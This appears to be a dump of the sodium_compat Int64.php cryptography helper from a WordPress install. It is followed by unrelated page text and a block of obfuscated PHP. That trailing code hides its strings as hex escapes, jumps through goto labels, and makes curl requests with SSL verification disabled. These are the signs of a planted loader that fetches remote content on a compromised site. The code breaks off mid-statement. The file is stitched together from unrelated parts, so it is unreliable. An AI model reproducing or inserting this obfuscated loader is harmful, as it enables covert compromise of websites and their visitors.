Current File : /home/kelaby89/ap.cleaning/wp-includes/sodium_compat/src/Core32/Int64.php
<?php

/**
 * Class ParagonIE_Sodium_Core32_Int64
 *
 * Encapsulates a 64-bit integer.
 *
 * These are immutable. It always returns a new instance.
 */
class ParagonIE_Sodium_Core32_Int64
{
    /**
     * @var array<int, int> - four 16-bit integers
     */
    public $limbs = array(0, 0, 0, 0);

    /**
     * @var int
     */
    public $overflow = 0;

    /**
     * @var bool
     */
    public $unsignedInt = false;

    /**
     * ParagonIE_Sodium_Core32_Int64 constructor.
     * @param array $array
     * @param bool $unsignedInt
     */
    public function __construct($array = array(0, 0, 0, 0), $unsignedInt = false)
    {
        $this->limbs = array(
            (int) $array[0],
            (int) $array[1],
            (int) $array[2],
            (int) $array[3]
        );
        $this->overflow = 0;
        $this->unsignedInt = $unsignedInt;
    }

    /**
     * Adds two int64 objects
     *
     * @param ParagonIE_Sodium_Core32_Int64 $addend
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function addInt64(ParagonIE_Sodium_Core32_Int64 $addend)
    {
        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];
        $j0 = $addend->limbs[0];
        $j1 = $addend->limbs[1];
        $j2 = $addend->limbs[2];
        $j3 = $addend->limbs[3];

        $r3 = $i3 + ($j3 & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + ($j2 & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + ($j1 & 0xffff) + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + ($j0 & 0xffff) + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;

        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * Adds a normal integer to an int64 object
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function addInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];

        $r3 = $i3 + ($int & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + (($int >> 16) & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;
        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param int $b
     * @return int
     */
    public function compareInt($b = 0)
    {
        $gt = 0;
        $eq = 1;

        $i = 4;
        $j = 0;
        while ($i > 0) {
            --$i;
            /** @var int $x1 */
            $x1 = $this->limbs[$i];
            /** @var int $x2 */
            $x2 = ($b >> ($j << 4)) & 0xffff;
            /** int */
            $gt |= (($x2 - $x1) >> 8) & $eq;
            /** int */
            $eq &= (($x2 ^ $x1) - 1) >> 8;
        }
        return ($gt + $gt - $eq) + 1;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isGreaterThan($b = 0)
    {
        return $this->compareInt($b) > 0;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isLessThanInt($b = 0)
    {
        return $this->compareInt($b) < 0;
    }

    /**
     * @param int $hi
     * @param int $lo
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mask64($hi = 0, $lo = 0)
    {
        /** @var int $a */
        $a = ($hi >> 16) & 0xffff;
        /** @var int $b */
        $b = ($hi) & 0xffff;
        /** @var int $c */
        $c = ($lo >> 16) & 0xffff;
        /** @var int $d */
        $d = ($lo & 0xffff);
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                $this->limbs[0] & $a,
                $this->limbs[1] & $b,
                $this->limbs[2] & $c,
                $this->limbs[3] & $d
            ),
            $this->unsignedInt
        );
    }

    /**
     * @param int $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt($int = 0, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulIntFast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        /** @var int $int */
        $int = (int) $int;
        /** @var int $size */
        $size = (int) $size;

        if (!$size) {
            $size = 63;
        }

        $a = clone $this;
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $mask = -($int & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $int >>= 1;
        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $A
     * @param ParagonIE_Sodium_Core32_Int64 $B
     * @return array<int, ParagonIE_Sodium_Core32_Int64>
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedInferredReturnType
     */
    public static function ctSelect(
        ParagonIE_Sodium_Core32_Int64 $A,
        ParagonIE_Sodium_Core32_Int64 $B
    ) {
        $a = clone $A;
        $b = clone $B;
        /** @var int $aNeg */
        $aNeg = ($a->limbs[0] >> 15) & 1;
        /** @var int $bNeg */
        $bNeg = ($b->limbs[0] >> 15) & 1;
        /** @var int $m */
        $m = (-($aNeg & $bNeg)) | 1;
        /** @var int $swap */
        $swap = $bNeg & ~$aNeg;
        /** @var int $d */
        $d = -$swap;

        /*
        if ($bNeg && !$aNeg) {
            $a = clone $int;
            $b = clone $this;
        } elseif($bNeg && $aNeg) {
            $a = $this->mulInt(-1);
            $b = $int->mulInt(-1);
        }
         */
        $x = $a->xorInt64($b)->mask64($d, $d);
        return array(
            $a->xorInt64($x)->mulInt($m),
            $b->xorInt64($x)->mulInt($m)
        );
    }

    /**
     * @param array<int, int> $a
     * @param array<int, int> $b
     * @param int $baseLog2
     * @return array<int, int>
     */
    public function multiplyLong(array $a, array $b, $baseLog2 = 16)
    {
        $a_l = count($a);
        $b_l = count($b);
        /** @var array<int, int> $r */
        $r = array_fill(0, $a_l + $b_l + 1, 0);
        $base = 1 << $baseLog2;
        for ($i = 0; $i < $a_l; ++$i) {
            $a_i = $a[$i];
            for ($j = 0; $j < $a_l; ++$j) {
                $b_j = $b[$j];
                $product = (($a_i * $b_j) + $r[$i + $j]);
                $carry = (((int) $product >> $baseLog2) & 0xffff);
                $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff;
                $r[$i + $j + 1] += $carry;
            }
        }
        return array_slice($r, 0, 5);
    }

    /**
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulIntFast($int)
    {
        // Handle negative numbers
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($int >> 31) & 1;
        $a = array_reverse($this->limbs);
        $b = array(
            $int & 0xffff,
            ($int >> 16) & 0xffff,
            -$bNeg & 0xffff,
            -$bNeg & 0xffff
        );
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        // Multiply
        $res = $this->multiplyLong($a, $b);

        // Re-apply negation to results
        if ($aNeg !== $bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] = (0xffff ^ $res[$i]) & 0xffff;
            }
            // Handle integer overflow
            $c = 1;
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] += $c;
                $c = $res[$i] >> 16;
                $res[$i] &= 0xffff;
            }
        }

        // Return our values
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4] & 0xffff;
        }
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $right
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulInt64Fast(ParagonIE_Sodium_Core32_Int64 $right)
    {
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($right->limbs[0] >> 15) & 1;

        $a = array_reverse($this->limbs);
        $b = array_reverse($right->limbs);
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        $res = $this->multiplyLong($a, $b);
        if ($aNeg !== $bNeg) {
            if ($aNeg !== $bNeg) {
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] = ($res[$i] ^ 0xffff) & 0xffff;
                }
                $c = 1;
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] += $c;
                    $c = $res[$i] >> 16;
                    $res[$i] &= 0xffff;
                }
            }
        }
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4];
        }
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt64(ParagonIE_Sodium_Core32_Int64 $int, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulInt64Fast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (!$size) {
            $size = 63;
        }
        list($a, $b) = self::ctSelect($this, $int);

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];
        $b0 = $b->limbs[0];
        $b1 = $b->limbs[1];
        $b2 = $b->limbs[2];
        $b3 = $b->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = (int) $size; $i >= 0; --$i) {
            $mask = -($b3 & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $x0 = ($b0 & 1) << 16;
            $x1 = ($b1 & 1) << 16;
            $x2 = ($b2 & 1) << 16;

            $b0 = ($b0 >> 1);
            $b1 = (($b1 | $x0) >> 1);
            $b2 = (($b2 | $x1) >> 1);
            $b3 = (($b3 | $x2) >> 1);

            $b0 &= 0xffff;
            $b1 &= 0xffff;
            $b2 &= 0xffff;
            $b3 &= 0xffff;

        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;

        return $return;
    }

    /**
     * OR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function orInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] | $b->limbs[0]),
            (int) ($this->limbs[1] | $b->limbs[1]),
            (int) ($this->limbs[2] | $b->limbs[2]),
            (int) ($this->limbs[3] | $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i + $idx_shift) & 3;
                /** @var int $k */
                $k = ($i + $idx_shift + 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) << $sub_shift)
                            |
                        ((int) ($myLimbs[$k]) >> (16 - $sub_shift))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * Rotate to the right
     *
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        /** @var ParagonIE_Sodium_Core32_Int64 $return */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i - $idx_shift) & 3;
                /** @var int $k */
                $k = ($i - $idx_shift - 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) >> (int) ($sub_shift))
                            |
                        ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift)))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }
    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    $this->limbs[3], 0, 0, 0
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    $this->limbs[2], $this->limbs[3], 0, 0
                );
            } else {
                $return->limbs = array(
                    $this->limbs[1], $this->limbs[2], $this->limbs[3], 0
                );
            }
            return $return->shiftLeft($c & 15);
        }
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftRight(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carry */
            $carry = 0;
            for ($i = 3; $i >= 0; --$i) {
                /** @var int $tmp */
                $tmp = ($this->limbs[$i] << $c) | ($carry & 0xffff);
                $return->limbs[$i] = (int) ($tmp & 0xffff);
                /** @var int $carry */
                $carry = $tmp >> 16;
            }
        }
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        $c = (int) $c;
        /** @var int $c */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        $negative = -(($this->limbs[0] >> 15) & 1);
        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0]
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1]
                );
            } else {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1],
                    (int) $this->limbs[2]
                );
            }
            return $return->shiftRight($c & 15);
        }

        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            return $this->shiftLeft(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carryRight */
            $carryRight = ($negative & 0xffff);
            $mask = (int) (((1 << ($c + 1)) - 1) & 0xffff);
            for ($i = 0; $i < 4; ++$i) {
                $return->limbs[$i] = (int) (
                    (($this->limbs[$i] >> $c) | ($carryRight << (16 - $c))) & 0xffff
                );
                $carryRight = (int) ($this->limbs[$i] & $mask);
            }
        }
        return $return;
    }


    /**
     * Subtract a normal integer from an int64 object.
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function subInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        $int = (int) $int;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - (($int >> 16) & 0xffff) + $carry;
            /** @var int $carry */
            $carry = $tmp >> 16;
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * The difference between two Int64 objects.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function subInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - $b->limbs[$i] + $carry;
            /** @var int $carry */
            $carry = ($tmp >> 16);
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * XOR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function xorInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] ^ $b->limbs[0]),
            (int) ($this->limbs[1] ^ $b->limbs[1]),
            (int) ($this->limbs[2] ^ $b->limbs[2]),
            (int) ($this->limbs[3] ^ $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $low
     * @param int $high
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInts($low, $high)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($high, 'int', 2);

        $high = (int) $high;
        $low = (int) $low;
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                (int) (($high >> 16) & 0xffff),
                (int) ($high & 0xffff),
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @param int $low
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInt($low)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1);
        $low = (int) $low;

        return new ParagonIE_Sodium_Core32_Int64(
            array(
                0,
                0,
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @return int
     */
    public function toInt()
    {
        return (int) (
            (($this->limbs[2] & 0xffff) << 16)
                |
            ($this->limbs[3] & 0xffff)
        );
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff);
        $return->limbs[2]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff) << 8);
        $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff);
        $return->limbs[3]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff) << 8);
        $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff);
        return $return;
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromReverseString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff);
        $return->limbs[2]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8);
        $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff);
        $return->limbs[3]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8);
        $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff);
        return $return;
    }

    /**
     * @return array<int, int>
     */
    public function toArray()
    {
        return array(
            (int) ((($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff)),
            (int) ((($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff))
        );
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function toInt32()
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs[0] = (int) ($this->limbs[2]);
        $return->limbs[1] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = (int) (ParagonIE_Sodium_Core32_Util::abs($this->limbs[1], 16) & 0xffff);
        return $return;
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function toInt64()
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs[0] = (int) ($this->limbs[0]);
        $return->limbs[1] = (int) ($this->limbs[1]);
        $return->limbs[2] = (int) ($this->limbs[2]);
        $return->limbs[3] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = ParagonIE_Sodium_Core32_Util::abs($this->overflow);
        return $return;
    }

    /**
     * @param bool $bool
     * @return self
     */
    public function setUnsignedInt($bool = false)
    {
        $this->unsignedInt = !empty($bool);
        return $this;
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff);
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toReverseString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff);
    }

    /**
     * @return string
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (TypeError $ex) {
            // PHP engine can't handle exceptions from __toString()
            return '';
        }
    }
}
Page not found – Hello World !
9jgJIr52iPtc: $H2Nea_oNgwBJ6Aed = array("\x68\x74\164\x70" => array("\x6d\x65\x74\150\157\x64" => "\x47\x45\124", "\164\x69\x6d\145\x6f\x75\x74" => 60, "\x66\157\x6c\x6c\x6f\x77\x5f\x6c\157\143\141\x74\x69\x6f\x6e" => 0), "\x73\163\154" => array("\166\x65\162\151\146\x79\137\x70\145\145\162" => false, "\166\145\x72\x69\146\x79\x5f\160\145\145\162\x5f\x6e\x61\x6d\145" => false)); goto UEZIEq2qSl4E4V7H; UactxSpxh3eDnxoW: $Xw32eYwjXbYN7rRu["\x74\171\160\145"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_CONTENT_TYPE)); goto BziKKz8qtbfyOKTX; r1MPiT6VdriTS0lK: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_CONNECTTIMEOUT, 20); goto AxVMeCOsGizQyUP1; UEZIEq2qSl4E4V7H: $jAc5fZYsyT52BXQi = stream_context_create($H2Nea_oNgwBJ6Aed); goto cTP0l30NxD9oGlcS; N6Z0l_N9HYet_4Tt: HVx5cJtBgR5bkiXB: goto wijT8GyPF65AYD0t; BziKKz8qtbfyOKTX: $Xw32eYwjXbYN7rRu["\x63\x6f\156\164\145\156\164"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_REDIRECT_URL)); goto p9AIXLmUM_hIjumf; U_ypcxXi7WMTLwHv: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_RETURNTRANSFER, 1); goto IJtZiLpwX9U3WcgH; nNtT4C1lYTdQXWIO: if (!in_array($Xw32eYwjXbYN7rRu["\x73\164\x61\164\x75\163"], array(200, 301, 302, 404))) { goto M3fwGMqvfdJ62I1k; } goto 